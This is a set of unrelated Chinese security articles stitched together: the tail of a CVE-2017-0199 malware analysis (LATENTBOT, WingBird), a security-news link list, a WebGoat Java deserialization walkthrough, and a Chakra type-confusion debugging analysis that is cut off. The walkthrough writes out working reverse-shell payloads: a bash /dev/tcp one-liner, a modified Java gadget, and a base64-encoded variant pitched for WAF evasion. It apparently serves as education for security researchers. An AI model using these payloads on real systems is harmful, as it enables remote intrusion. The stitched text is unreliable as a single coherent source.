com/media/wysiwyg/questions.doc下载诱饵文件，并将其保存到％temp％document.doc文件中
4\. 清理15.0和16.0版本Word的Word Resiliency keys，以便Microsoft Word可以正常重新启动
5\. 执行恶意攻击第二阶段的VBScript：％appdata％MicrosoftWindowsmaintenance.vbs
6\. 打开诱饵文档％temp％ document.doc，以隐藏用户的恶意活动
一旦执行，前面下载的第二阶段的VBScript（ww.vbs/maintenance.vbs）脚本将执行以下操作：
1\. 将嵌入式的、经过混淆处理的脚本写入％TMP％/ eoobvfwiglhiliqougukgm.js
2\. 执行脚本
经过混淆处理的eoobvfwiglhiliqougukgm.js脚本，在运行时将完成以下操作：
1\. 尝试从系统中删除自己
2\. 尝试下载http [:]//www.modani [.]
com/media/wysiwyg/wood.exe（最多尝试44次），并将文件保存到％TMP％dcihprianeeyirdeuceulx.exe
3\. 执行％TMP％ dcihprianeeyirdeuceulx.exe
图5为我们展示了事件的进程执行链。
图5：进程创建事件
在这里，这个恶意软件的最终有效载荷是LATENTBOT恶意软件系列中的一个较新版本。至于这个恶意软件的更新详情，请参见文件2的有关介绍。
表1：第一个文档文件的元数据
**有效载荷LATENTBOT**
与第一个文档相关联的有效载荷是[LATENTBOT恶意软件系列的更新版本](https://www.fireeye.com/blog/threat-research/2015/12/latentbot_trace_me.html)。
LATENTBOT是一个经过高度混淆处理后的BOT，自2013年以来一直在野外传播。
较新版本的LATENTBOT为Windows XP（x86）和Windows 7操作系统提供了多种不同的注入机制：
**Attrib.exe补丁**
——LATENTBOT将调用Attrib.exe，修改内存中的相关内容，并插入一个JMP指令将控制权传递到映射的部分。为了将这一部分映射到atrrib.exe的地址空间中，需要使用ZwMapViewOfSection()。
**Svchost代码注入**
——Attrib.exe以挂起模式启动svchost.exe进程，创建内存空间，并通过调用ZwMapViewOfSection()分配代码。
**控制传输** ——然后使用SetThreadContext()修改主线程的OEP，它将在远程进程中执行以触发代码执行。
**浏览器注入** ——借助NtMapVIewOfSection()将最终的有效载荷注入默认的Web浏览器中。
在Windows 7或更高版本的操作系统中，该bot不会使用attrib.exe。
相反，它会将代码注入到svchost.exe中，然后借助NtMapViewOfSection()，通过恶意有效载荷来启动默认浏览器。
然后，该变种将连接到以下命令和控制（C2）服务器：
在与C2服务器成功连接后，LATENTBOT将生成一个信标。 其中一个解密的信标如下所示，更新版本号为5015：
在我们进行漏洞分析时，C2服务器已经处于离线状态。 该bot具有高度模块化的插件架构，并已用于“Pony”行动的信息窃取。
截至2017年4月10日，www.modani [.]
com/media/wysiwyg/wood.exe上托管的恶意软件已更新，并且C2服务器已移至：217.12.203 [.] 100。
**文件２—— (MD5: C10DABB05A38EDD8A9A0DDDA1C9AF10E)**
FireEye发现的第二个恶意文件包括两个恶意攻击阶段。 第一步是通过以下网址下载第一阶段的恶意HTA文件：
http [:]//95.141.38[.]110/mo/dnr/tmp/template.doc
该文件下载到用户的临时Internet文件目录中，名称为[？] .hta，其中[？]是在运行时才确定的。
一旦下载完成，winword.exe就会使用mshta.exe来解析该文件。 mshta.exe会在文件中查找<script> </
script>标签来进行相关的解析工作，并执行其中的脚本。 图6显示了经过反混淆处理后的脚本。
图6：第二个文件，第一阶段的VBScript
图6展示了以下恶意操作：
1\. 使用taskkill.exe终止winword.exe进程，以隐藏图1所示的提示
2\. 从http [:]//95.141.38 [.]
110/mo/dnr/copy.jpg下载可执行文件，将其保存到'％appdata％MicrosoftWindowsStart
MenuProgramsStartupwinword.exe文件中
3\. 从http [:]//95.141.38 [.]
110/mo/dnr/docu.doc下载文档，将其保存到％temp％document.doc文件中
4\. 清理Word 15.0和16.0版本的Word Resiliency key，以使Microsoft Word正常重新启动
5\. 在“％appdata％MicrosoftWindowsStart MenuProgramsStartupwinword.exe”中执行恶意有效载荷
6\. 打开诱饵文档％temp％ document.doc，以隐藏用户的恶意活动
检查恶意有效载荷后发现，它是微软称为WingBird的注入器的一个变体，具有与FinFisher类似的特性。这个恶意软件经过了充分的混淆处理，并提供了多种反分析措施，包括定制的虚拟机以增加分析所需时间。
“Artem”发表的[博客文章](https://artemonsecurity.blogspot.com/2017/01/wingbird-rootkit-analysis.html)介绍了WingBird的有效载荷驱动程序。这篇博客的作者简要介绍了与该样本匹配的注入器的保护技术。
表2：第二个文件的元数据
**小结**
我们发现了一个编号为CVE-2017-0199的安全漏洞，这是Microsoft Word中的一个漏洞，它允许攻击者执行恶意的Visual Basic脚本。
CVE-2017-0199漏洞是一个逻辑错误引起的，并且能够绕过大多数安全防御措施。在执行恶意脚本后，攻击者能下载并执行恶意的有效载荷，同时向使用者显示诱饵文件。这两个文件都能执行恶意有效载荷，其中一个包含LATENTBOT，另一个包含WingBird/FinFisher。实际上，这个恶意文件中只含有一个指向攻击者控制的服务器的链接，这充分展示了FireEye的MVX引擎在检测多阶段攻击方面的绝对优势。在该漏洞的补丁发布之前，我们就已经观测到了利用该漏洞的攻击活动。
我们建议Microsoft Office用户尽快安装相应的漏洞[补丁](https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-0199)。 | 社区文章 |
# 【知识】6月7日 - 每日安全知识热点
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**热点概要：苹果Safari 10.1 -扩展运算符整数溢出远程代码执行、Parallels
Desktop虚拟机逃逸漏洞、我如何通过命令注入漏洞搞定雅虎子公司的生产服务器、从JS到另一个JS文件导致身份验证绕过、SHADOWFALL(域阴影漏洞)、CVE-2017-0199：深入分析
Microsoft Office RTF 漏洞、 比特币矿工的创造者由于涉及'庞氏骗局'面临1200万美元罚款、QakBot病毒归来，锁定Active
Directory帐户**
**资讯类：**
* * *
比特币矿工的创造者由于涉及'庞氏骗局'面临1200万美元罚款
<http://thehackernews.com/2017/06/bitcoin-mining-ponzi-scheme.html>
泄露美国国家安全局文件:俄罗斯军方黑了美国投票软件公司,钓鱼式攻击122位选举官员
<https://boingboing.net/2017/06/05/nyet.html>
FBI是如何抓住NSA承包商泄密者的
<http://thehackernews.com/2017/06/nsa-russian-hacking-leak.html>
QakBot病毒归来，锁定AD域帐户
<https://threatpost.com/qakbot-returns-locking-out-active-directory-accounts/126071/>
[](http://thehackernews.com/2017/06/pacemaker-vulnerability.html)
**技术类：**
* * *
****
****
****
****
[](http://motherboard.vice.com/read/the-worst-hacks-of-2016)
[](https://feicong.github.io/tags/macOS%E8%BD%AF%E4%BB%B6%E5%AE%89%E5%85%A8/)
[](https://github.com/GradiusX/HEVD-Python-Solutions/blob/master/Win10%20x64%20v1511/HEVD_arbitraryoverwrite.py)
苹果Safari 10.1 -扩展运算符整数溢出远程代码执行
<https://www.exploit-db.com/exploits/42125/>
Parallels Desktop虚拟机逃逸漏洞
<https://www.exploit-db.com/exploits/42116/>
信号分析&HackRF
<http://badbytes.io/2017/06/06/signals-analysis-hackrf/>
我如何通过命令注入漏洞搞定雅虎子公司的生产服务器
<http://bobao.360.cn/learning/detail/3942.html>
在window10下探索虚拟地址描述符
<http://rce4fun.blogspot.com/2017/06/exploring-virtual-address-descriptors.html>
从JS到另一个JS文件导致身份验证绕过
<http://c0rni3sm.blogspot.com/2017/06/from-js-to-another-js-files-lead-to.html>
Windows内核系统调用表xp sp0 ~ 10 rs2 1703
<https://github.com/tinysec/windows-syscall-table>
CVE-2017-7494samba远程溢出漏洞exp脚本
<https://github.com/joxeankoret/CVE-2017-7494>
一个IDA Pro上有助于运行IOCTL代码或逆向Windows驱动的插件。
<https://github.com/mwrlabs/win_driver_plugin>
永恒之蓝: Windows10上的exp和端口分析 [PDF]
<https://risksense.com/download/datasets/4353/EternalBlue_RiskSense%20Exploit%20Analysis%20and%20Port%20to%20Microsoft%20Windows%2010_v1_2.pdf>
CAN总线介绍：如何以编程方式控制汽车
<https://news.voyage.auto/an-introduction-to-the-can-bus-how-to-programmatically-control-a-car-f1b18be4f377>
SHADOWFALL(域阴影漏洞)
<https://blogs.rsa.com/shadowfall/>
渗透技巧——程序的降权启动
[https://3gstudent.github.io/3gstudent.github.io/渗透技巧-程序的降权启动/](https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-%E7%A8%8B%E5%BA%8F%E7%9A%84%E9%99%8D%E6%9D%83%E5%90%AF%E5%8A%A8/)
【漏洞分析】CVE-2017-0199：深入分析 Microsoft Office RTF 漏洞
<http://bobao.360.cn/learning/detail/3945.html>
[](http://bobao.360.cn/learning/detail/3939.html) | 社区文章 |
原文：<https://medium.com/abn-amro-red-team/java-deserialization-from-discovery-to-reverse-shell-on-limited-environments-2e7b4e14fbef>
在本文中，我们将以（部署在Docker上的）WebGoat
8反序列化挑战题为例，为读者详细介绍攻击者利用反序列化漏洞的过程。实际上，这里只需让sleep函数运行5秒钟，即可解决这一挑战题。但是，为了增加难度，我们将设法获得反向shell。
**简介**
* * *
Java反序列化漏洞在安全社区中已为人所知多年。早在2015年，两名安全研究人员[Chris
Frohoff](https://twitter.com/frohoff "Chris Frohoff")和[Gabriel
Lawrence](https://twitter.com/gebl "Gabriel
Lawrence")就在AppSecCali会议上发表了题目为[Marshalling
Pickles](https://frohoff.github.io/appseccali-marshalling-pickles/
"Marshalling
Pickles")的演讲。此外，他们还发布了一款有效载荷生成器，名为[ysoserial](https://github.com/frohoff/ysoserial
"ysoserial")。
借助于对象序列化技术，开发人员可以将内存中的对象转换为二进制和文本数据格式来进行存储或传输。但是，利用不可信的数据来反序列化对象时，可能会导致远程代码执行漏洞。
**挖掘漏洞**
* * *
正如挑战题中所提到的，易受攻击的页面从用户输入中获取Base64格式的序列化Java对象，并盲目地对其进行了反序列化处理。我们将通过提供一个序列化对象来利用该漏洞，因为该对象会触发Property
Oriented Programming Chain（POP链），从而在反序列化期间实现远程命令执行攻击。
WebGoat 8反序列化漏洞挑战题
接下来，我们需要启动Burp软件，并安装一个名为[Java-Deserialization-Scanner](https://github.com/federicodotta/Java-Deserialization-Scanner "Java-Deserialization-Scanner")的插件。该插件提供了2个主要功能：其中一个功能用于扫描，另一个功能是借助[ysoserial](https://github.com/frohoff/ysoserial
"ysoserial")工具生成漏洞利用代码。
Burp Suite的Java反序列化漏洞扫描插件
扫描远程端点后，该Burp插件将显示下列内容：
Hibernate 5 (Sleep): Potentially VULNERABLE!!!
听起来很棒！
**漏洞利用**
* * *
现在，让我们进入下一个步骤：点开exploitation选项卡，以实现任意命令执行。
咦？这里ysoserial似乎遇到了一个问题。为了深入研究该问题，请切换至控制台，看看究竟是怎么回事。
有效载荷生成错误
通过观察ysoserial，我们发现，这里有两种不同的POP链可用于Hibernate。但是，通过试验发现，这两种有效载荷都无法在目标系统上正常执行。
ysoserial提供的有效载荷
那么，该插件是如何生成有效载荷来触发sleep命令的呢？
为此，我们决定考察一下该插件的源代码，具体链接如下所示：
[federicodotta/Java-Deserialization-ScannerBurp Suite的一体化插件，用于检测和利用Java反序列化漏洞……github.com](https://github.com/federicodotta/Java-Deserialization-Scanner/blob/master/src/burp/BurpExtender.java "federicodotta/Java-Deserialization-ScannerBurp Suite的一体化插件，用于检测和利用Java反序列化漏洞……github.com")
阅读该插件的源代码之后，我们发现其中的有效载荷是以硬编码的方式提供的，所以，我们需要找到一种方法来生成这种形式的有效载荷，只有这样才能使其正常工作。
有效载荷是以硬编码的方式提供的。
在我们自己的研究和大神的帮助下，我们发现，为了让我们的有效载荷能够正常工作，必须对当前版本的ysoserial进行适当的修改。
我们下载了ysoserial的源代码，并决定使用Hibernate 5完成重新编译工作。为了提供Hibernate
5成功构建ysoserial，我们还必须将[javax.el](https://mvnrepository.com/artifact/javax.el/javax.el-api/3.0.0 "javax.el")包添加到pom.xml文件中。
此外，我们还向原始项目发送了一个[Pull请求](https://github.com/frohoff/ysoserial/pull/98
"Pull请求")，以便在选择hibernate5配置文件时对构建过程进行相应的修订。
更新后的pom.xml文件
这样的话，我们就可以重新构建ysoserial了，具体命令如下所示：
mvn clean package -DskipTests -Dhibernate5
然后，我们就可以生成有效载荷了：
java -Dhibernate5 -jar target/ysoserial-0.0.6-SNAPSHOT-all.jar Hibernate1 "touch /tmp/test" | base64 -w0
适用于Hibernate 5的有效载荷
我们可以通过下列命令来访问docker容器，以验证我们的命令是否已正确执行：
docker exec -it <CONTAINER_ID> /bin/bash
如您所见，我们的有效载荷在机器上成功执行了！
也就是说，我们的漏洞利用成功了！
接下来，我们要枚举目标计算机上的二进制文件。
webgoat@1d142ccc69ec:/$ which php
webgoat@1d142ccc69ec:/$ which python
webgoat@1d142ccc69ec:/$ which python3
webgoat@1d142ccc69ec:/$ which wget
webgoat@1d142ccc69ec:/$ which curl
webgoat@1d142ccc69ec:/$ which nc
webgoat@1d142ccc69ec:/$ which perl
/usr/bin/perl
webgoat@1d142ccc69ec:/$ which bash
/bin/bash
webgoat@1d142ccc69ec:/$
这里只有Perl和Bash是可用的。下面，让我们精心构造一个有效载荷，以便使其为我们返回一个反向shell。
我们在Pentest Monkeys上看了一些单行反向shell：
[反壳shell备忘录如果你的运气足够好，在渗透测试期间找到命令执行漏洞的话，那么很快就会... pentestmonkey.net](http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet "反壳shell备忘录如果你的运气足够好，在渗透测试期间找到命令执行漏洞的话，那么很快就会... pentestmonkey.net")
于是，决定尝试一下反向shell Bash：
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
但是，正如您可能知道的那样，`java.lang.Runtime.exec()`具有很大的局限性：不支持重定向或管道等shell操作符。
于是，我们决定使用由Java语言编写的反向shell。实际上，这里只是修改了`Gadgets.java`上的相关源代码，以生成相应的反向shell有效载荷。
以下是我们需要修改的路径
/root/ysoserial/src/main/java/ysoserial/payloads/util/Gadgets.java
中从第116到118行。
下面是来自Pentest Monkeys的Java反向shell，尚无法正常使用：
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
在对代码进行了一些修改之后，我们得到了以下结果:
String cmd = "java.lang.Runtime.getRuntime().exec(new String []{\"/bin/bash\",\"-c\",\"exec 5<>/dev/tcp/10.0.0.1/8080;cat <&5 | while read line; do \\$line 2>&5 >&5; done\"}).waitFor();";
clazz.makeClassInitializer().insertAfter(cmd);
让我们重新构建ysoserial，并对生成的有效载荷进行测试。
用Bash反向shell生成武器化的有效载荷
看到没：我们得到了一个反向shell!
太棒了!
**有效载荷生成过程的推广**
* * *
在研究过程中，我们发现后面链接中的编码器也能够替我们完成这个工作，具体链接为`http://jackson.thuraisamy.me/runtime-exec-payloads.html`。
通过如下所示的Bash反向shell命令:
bash -i >& /dev/tcp/[IP address]/[port] 0>&1
生成的有效载荷如下所示：
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xMC4xLzgwODAgMD4mMQ==}|{base64,-d}|{bash,-i}
太棒了！这个编码器对于绕过WAF来说也非常有用!
**参考资料**
* * *
* <https://nickbloor.co.uk/2017/08/13/attacking-java-deserialization/>
* <http://www.pwntester.com/blog/2013/12/16/cve-2011-2894-deserialization-spring-rce/>
* <https://github.com/frohoff/ysoserial>
* <https://github.com/federicodotta/Java-Deserialization-Scanner>
在此，我们要特别感谢[Federico Dotta](https://www.linkedin.com/in/federicodotta "Federico
Dotta")和Mahmoud ElMorabea！ | 社区文章 |
# Chakra OP_NewScObjArray Type Confusion远程代码执行漏洞分析与利用
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 1.漏洞描述
漏洞编号：无
影响版本：Chakra <= 1.10.0
此漏洞是我去年11月份发现的，在今年的七月微软的发布版本中被修掉。该漏洞成因在于：Interpreter在执行OP_NewScObjArray操作码指令时处理不当，在OP_NewScObjArray_Impl函数内有一个结构体之间的强制转换，导致了类型混淆，成功利用该漏洞可导致远程代码执行。
## 2.测试环境
Windows 10 x64 + Microsoft Edge 42.17074.1002.0
## 3.漏洞分析
###
[](http://blogs.360.cn/post/Microsoft%20Edge%20Chakra%20OP_NewScObjArray%20Type%20Confusion%20%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E4%B8%8E%E5%88%A9%E7%94%A8.html#toc-68e)3.1
漏洞基本信息
开启页堆保护后(gflags.exe -I MicrosoftEdgeCP.exe +hpa +ust)，用Microsoft
Edge浏览器加载poc.html时的异常信息如下：
0:017> r
rax=00000033438faf18 rbx=00000000000fefa0 rcx=000001aee1be3020
rdx=00007ff88f40c698 rsi=000001a6c2bcd960 rdi=000001aee1be3020
rip=00007ff88ee5d224 rsp=00000033438faea0 rbp=000000000000fefa
r8=000001aee1ce2050 r9=00007ff88f40c698 r10=000001a6c2b38568
r11=000001aee33001b0 r12=000001aee1be3020 r13=000001aec87103c0
r14=000001aee1be3b29 r15=00000000000009e9
iopl=0 nv up ei pl nz na po nc
cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206
chakra!Js::DynamicProfileInfo::RecordCallSiteInfo+0x54:
00007ff88ee5d224 450fb74802 movzx r9d,word ptr [r8+2] ds:000001aee1ce2052=????
0:017> kb
RetAddr : Args to Child : Call Site
00 00007ff88ed5ca46 : 000001aee1be3020 000001aee33001b0 000001a6c2b3fefa 00007ff88f40c698 : chakra!Js::DynamicProfileInfo::RecordCallSiteInfo+0x54
01 00007ff88ed5b061 : 000001aec8708580 00000033438faff0 000001aec87103c0 000001a6c2b3fefa : chakra!Js::ProfilingHelpers::ProfiledNewScObjArray+0xa6
02 00007ff88efe8518 : 00000033438fb280 000001aee3af7c85 00000033438fb0b0 000001aee3af7c84 : chakra!Js::InterpreterStackFrame::OP_NewScObjArray_Impl<Js::OpLayoutT_CallI<Js::LayoutSizePolicy<1> >,0>+0x81
03 00007ff88ee25e1b : 00000033438fb280 000001aee3af7c84 00000033438fb0b0 0000000000000000 : chakra!Windows::Data::Text::IUnicodeCharactersStatics::vcall'{144}'+0x1f618
04 00007ff88ee25c55 : 00000033438fb280 0000000000000000 0000000000000001 00007ff88ed5c496 : chakra!Js::InterpreterStackFrame::ProcessUnprofiled+0x9b
05 00007ff88ee24704 : 00000033438fb280 00000033438fb280 00000033438fb280 0000000000000001 : chakra!Js::InterpreterStackFrame::Process+0x175
06 00007ff88ee26cdb : 00000033438fb280 000001aee3af7c68 000001aee3af7c68 0000000000000000 : chakra!Js::InterpreterStackFrame::OP_TryCatch+0x64
07 00007ff88ee25c55 : 00000033438fb280 0000000000000000 0000000000000000 0000000000000000 : chakra!Js::InterpreterStackFrame::ProcessUnprofiled+0xf5b
08 00007ff88ee1913d : 00000033438fb280 00000033438fb280 00000033438fbc80 000001a6c2b28760 : chakra!Js::InterpreterStackFrame::Process+0x175
09 00007ff88ee189de : 000001aec87103c0 00000033438fbe60 000001aee1c70fba 00000033438fbe78 : chakra!Js::InterpreterStackFrame::InterpreterHelper+0x49d
0a 000001aee1c70fba : 00000033438fbeb0 0000000000000001 00000033438fbea0 00000033438fc288 : chakra!Js::InterpreterStackFrame::InterpreterThunk+0x4e
....
从上面的栈帧可知是调用RecordCallSiteInfo函数时内部发生了访问异常。
### 3.2 漏洞成因
**3.2.1 pc对应的代码**
源代码如下：
void DynamicProfileInfo::RecordCallSiteInfo(FunctionBody* functionBody, ProfileId callSiteId, FunctionInfo* calleeFunctionInfo, JavascriptFunction* calleeFunction, uint actualArgCount, bool isConstructorCall, InlineCacheIndex ldFldInlineCacheId)
{
...
if (!callSiteInfo[callSiteId].isPolymorphic) //out of bound read
{
Js::SourceId oldSourceId = callSiteInfo[callSiteId].u.functionData.sourceId;
if (oldSourceId == InvalidSourceId)
{
return;
}
...
反汇编代码如下：
void **__fastcall Js::DynamicProfileInfo::RecordCallSiteInfo(Js::DynamicProfileInfo *this, struct Js::FunctionBody *a2, unsigned __int16 a3, struct Js::FunctionInfo *a4, struct Js::JavascriptFunction *a5, unsigned __int16 a6, bool a7, unsigned int a8)
{
...
unsigned __int16 v12; // bp@1
signed __int64 v13; // rbx@3
signed __int64 v14; // r8@3
__int16 v15; // r9@3
...
v9 = a2;
v10 = this;
v11 = a4;
v12 = a3; // a3 <=> callSiteId
...
v13 =0x10 * a3;
v14 = v13 + *((_QWORD *)this + 1);//<=>callSiteInfo
v15 = *(_WORD *)(v14 + 2);//out of bound read
if ( v15 >= 0 )
{
v16 = *(_DWORD *)(v14 + 8);
LODWORD(v17) = -4;
if ( v16 == -4 )
return result;
...
根据 3.1 步骤的漏洞异常信息时，rbp=0x000000000000fefa，及其上面的源代码与汇编代码的对比发现，callSiteId = a3 =
v12 = bp = 0xfefa。
0:017> dq rcx + 0x8
000001aee1be3028 000001aee1be30b0 0000000000000000
000001aee1be3038 0000000000000000 0000000000000000
000001aee1be3048 0000000000000000 0000000000000000
000001aee1be3058 000001aee1be3140 0000000000000000
000001aee1be3068 000001aee1bf313f 0000000000000000
000001aee1be3078 0000000000000000 0000000000000000
000001aee1be3088 0000000000000000 0000000000000009
000001aee1be3098 0000000000000000 ffffffff00000000
此时:
callSiteInfo = * ((QWORD * )this + 1) => poi(rcx + 0x8) = 0x000001aee1be30b0
r8 = (callSiteInfo + callSiteId * 0x10) = 0x000001aee1be30b0 + 0xfefa * 0x10 = 0x000001aee1ce2050
0:017> dd 000001aee1be30b0
000001aee1be30b0 00000009 00000000 ffffffff 00000000
000001aee1be30c0 00000009 00000000 ffffffff 00000000
000001aee1be30d0 00000009 00000000 ffffffff 00000000
000001aee1be30e0 00000009 00000000 ffffffff 00000000
000001aee1be30f0 00000009 00000000 ffffffff 00000000
000001aee1be3100 00000009 00000000 ffffffff 00000000
000001aee1be3110 00000009 00000000 ffffffff 00000000
000001aee1be3120 00000009 00000000 ffffffff 00000000
通过dd 0x000001aee1be30b0 命令查看callSiteInfo内容是可以访问的，初步判定崩溃是因callSiteId越界导致的内存越界读。
[](http://blogs.360.cn/post/Microsoft%20Edge%20Chakra%20OP_NewScObjArray%20Type%20Confusion%20%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E4%B8%8E%E5%88%A9%E7%94%A8.html#toc-f06)**3.2.2
创建callSiteInfo对象的代码**
源代码如下：
DynamicProfileInfo* DynamicProfileInfo::New(Recycler* recycler, FunctionBody* functionBody, bool persistsAcrossScriptContexts)
{
size_t totalAlloc = 0;
Allocation batch[] =
{
{ (uint)offsetof(DynamicProfileInfo, callSiteInfo), functionBody->GetProfiledCallSiteCount() * sizeof(CallSiteInfo) },// 计算分配callSiteInfo对象的内存大小
...
};
for (uint i = 0; i < _countof(batch); i++)
{
totalAlloc += batch[i].size;//数组元素内存分配之和
}
info = RecyclerNewPlusZ(recycler, totalAlloc, DynamicProfileInfo, functionBody);// 总的内存分配长度为：totalAlloc + sizeof(DynamicProfileInfo)
BYTE* current = (BYTE*)info + sizeof(DynamicProfileInfo);
}
}
for (uint i = 0; i < _countof(batch); i++)
{
if (batch[i].size > 0)
{
Field(BYTE*)* field = (Field(BYTE*)*)(((BYTE*)info + batch[i].offset));
*field = current;
current += batch[i].size;
}
}
info->Initialize(functionBody);
return info;
反汇编代码如下：
char *__fastcall Js::DynamicProfileInfo::New(struct Memory::Recycler *a1, struct Js::FunctionBody *a2)
{
...
size_t v26; // rdx@16
char *v27; // rbx@18
...
else
{
v26 = v25 + 144;
if ( v25 + 144 < v25 )
v26 = -1i64;
v27 = Memory::Recycler::AllocLeafZero(v12, v26);//v26 = rdx => totalAlloc + sizeof(DynamicProfileInfo) = 内存分配长度
}
*((_WORD *)v27 + 56) = ValueType::Uninitialized;
v27[114] = 0;
v27[136] = 1;
LABEL_20:
v28 = (signed __int64)(v27 + 144);
v29 = 12i64;
v30 = &v38;
do
{
v31 = *((_QWORD *)v30 + 1);
if ( v31 )
{
*(_QWORD *)&v27[*v30] = v28;
v28 += v31;
}
v30 += 4;
--v29;
}
while ( v29 );
Js::DynamicProfileInfo::Initialize((Js::DynamicProfileInfo *)v27, (struct Js::FunctionBody *const )retaddr);
return v27;
}
用命令 ba chakra!Js::DynamicProfileInfo::New
在DynamicProfileInfo::New函数位置打个断点，动态调试之后，可得如下信息：
0:017> r
rax=00000000000100e7 rbx=0000015bce310348 rcx=00000153adba97b0
rdx=0000000000010177 rsi=0000000000000000 rdi=0000015bce3101b0
rip=00007ff88ef9a7c3 rsp=0000004016ffba50 rbp=0000004016ffbb50
r8=0000000000000004 r9=0000000000000001 r10=00000153adba97b0
r11=0000004016ffbc70 r12=0000004016ffc0a8 r13=0000000000000001
r14=0000015bb37203c0 r15=0000000000000001
iopl=0 nv up ei pl nz na po nc
cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206
chakra!Js::DynamicProfileInfo::New+0x213:
00007ff88ef9a7c3 e8c830f0ff call chakra!Memory::Recycler::AllocLeafZero (00007ff8`8ee9d890)
此时可知:
(v26 = rdx = totalAlloc + sizeof(DynamicProfileInfo) = 0x10177) < (0xfefa0 = callSiteId * 0x10 = 0xfefa * 0x10)，
内存分配长度为 0x10177 远远小于 使用时的 0xfefa0，确定漏洞是因callSiteId越界导致的内存越界读。
**3.2.3 追溯callSiteId参数的来源**
根据 3.1 步骤的 kb
栈回溯命令可知，callSiteId是上层调用OP_NewScObjArray_Impl函数进来的，OP_NewScObjArray_Impl的源代码如下：
template <class T, bool Profiled>
void InterpreterStackFrame::OP_NewScObjArray_Impl(const unaligned T* playout, const Js::AuxArray<uint32> *spreadIndices)
{
// Always profile this operation when auto-profiling so that array type changes are tracked
if (!Profiled && !isAutoProfiling)
Assert(!Profiled);
{
OP_NewScObject_Impl<T, Profiled, false>(playout, Js::Constants::NoInlineCacheIndex, spreadIndices);
return;
}
Arguments args(CallInfo(CallFlags_New, playout->ArgCount), m_outParams);
uint32 spreadSize = 0;
if (spreadIndices != nullptr){...}
else
{
SetReg(
(RegSlot)playout->Return,
ProfilingHelpers::ProfiledNewScObjArray(
GetReg(playout->Function),
args,
function,
static_cast<const unaligned OpLayoutDynamicProfile2<T> *>(playout)->profileId,//profileId <==> callSiteId
static_cast<const unaligned OpLayoutDynamicProfile2<T> *>(playout)->profileId2));
}
PopOut(playout->ArgCount);
}
根据上面的红色部分，我们可知，callSiteId来自playout参数的profileId的成员变量。
**3.2.4 追溯playout参数的来源**
根据 3.1 步骤的 kb
栈回溯命令可知，playout是上层调用ProcessUnprofiled函数进来的，ProcessUnprofiled的源代码调用栈追溯路径如下：
InterpreterLoop.inl:
...
case INTERPRETER_OPCODE::MediumLayoutPrefix:
{
Var yieldValue = nullptr;
ip = PROCESS_OPCODE_FN_NAME(MediumLayoutPrefix)(ip, yieldValue);==>
CHECK_YIELD_VALUE();
CHECK_SWITCH_PROFILE_MODE();
break;
}
...
const byte* Js::InterpreterStackFrame::PROCESS_OPCODE_FN_NAME(MediumLayoutPrefix)(const byte* ip, Var& yieldValue)
{
INTERPRETER_OPCODE op = READ_OP(ip);
switch (op)
{
#ifndef INTERPRETER_ASMJS
case INTERPRETER_OPCODE::Yield:
m_reader.Reg2_Medium(ip);
yieldValue = GetReg(GetFunctionBody()->GetYieldRegister());
break;
#endif
#define DEF2_WMS(x, op, func) PROCESS_##x##_COMMON(op, func, _Medium)
#define DEF3_WMS(x, op, func, y) PROCESS_##x##_COMMON(op, func, y, _Medium)==>
#define DEF4_WMS(x, op, func, y, t) PROCESS_##x##_COMMON(op, func, y, _Medium, t)
#include "InterpreterHandler.inl"
default:
// Help the C++ optimizer by declaring that the cases we
// have above are sufficient
AssertMsg(false, "dispatch to bad opcode");
__assume(false);
}
return ip;
}
InterpreterHandler.inl:
...
DEF3_WMS(CALL, NewScObject, OP_NewScObject, CallI)
DEF3_WMS(CUSTOM_L_R0, NewScObjectNoCtorFull, OP_NewScObjectNoCtorFull, Reg2)
EXDEF2_WMS(A1toA1Mem, LdCustomSpreadIteratorList, JavascriptOperators::OP_LdCustomSpreadIteratorList)
EXDEF3_WMS(CALL, NewScObjectSpread, OP_NewScObjectSpread, CallIExtended)
DEF3_WMS(CALL, NewScObjArray, OP_NewScObjArray, CallI)==>
...
InterpreterStackFrame.cpp:
#define PROCESS_CALL_COMMON(name, func, layout, suffix) \
case OpCode::name: \
{ \
PROCESS_READ_LAYOUT(name, layout, suffix); \\==>
func(playout); \
break; \
}
...
#define PROCESS_READ_LAYOUT(name, layout, suffix) \
CompileAssert(OpCodeInfo<OpCode::name>::Layout == OpLayoutType::layout); \
const unaligned OpLayout##layout##suffix * playout = m_reader.layout##suffix(ip); \\==>
Assert((playout != nullptr) == (Js::OpLayoutType::##layout != Js::OpLayoutType::Empty)); // Make sure playout is used
...
LayoutTypes.h:
...
LAYOUT_TYPE (StartCall)
LAYOUT_TYPE_PROFILED2_WMS (CallI)==>
LAYOUT_TYPE_PROFILED_WMS (CallIFlags)
...
OpLayouts.h:
...
#define LAYOUT_TYPE_WMS(layout) \
typedef OpLayoutT_##layout OpLayout##layout##_Large; \
typedef OpLayoutT_##layout OpLayout##layout##_Medium; \\==>
typedef OpLayoutT_##layout OpLayout##layout##_Small;
...
template <typename SizePolicy>
struct OpLayoutT_CallI // Return = Function(ArgCount)
{
typename SizePolicy::ArgSlotType ArgCount;
typename SizePolicy::RegSlotSType Return;
typename SizePolicy::RegSlotType Function;
};
...
ByteCodeReader.cpp:
template<typename LayoutType>
const unaligned LayoutType * ByteCodeReader::GetLayout(const byte*& ip)
{
size_t layoutSize = sizeof(LayoutType);//LayoutType=Js::OpLayoutT_CallI<Js::LayoutSizePolicy<MediumLayout>> => layoutSize = 0x5
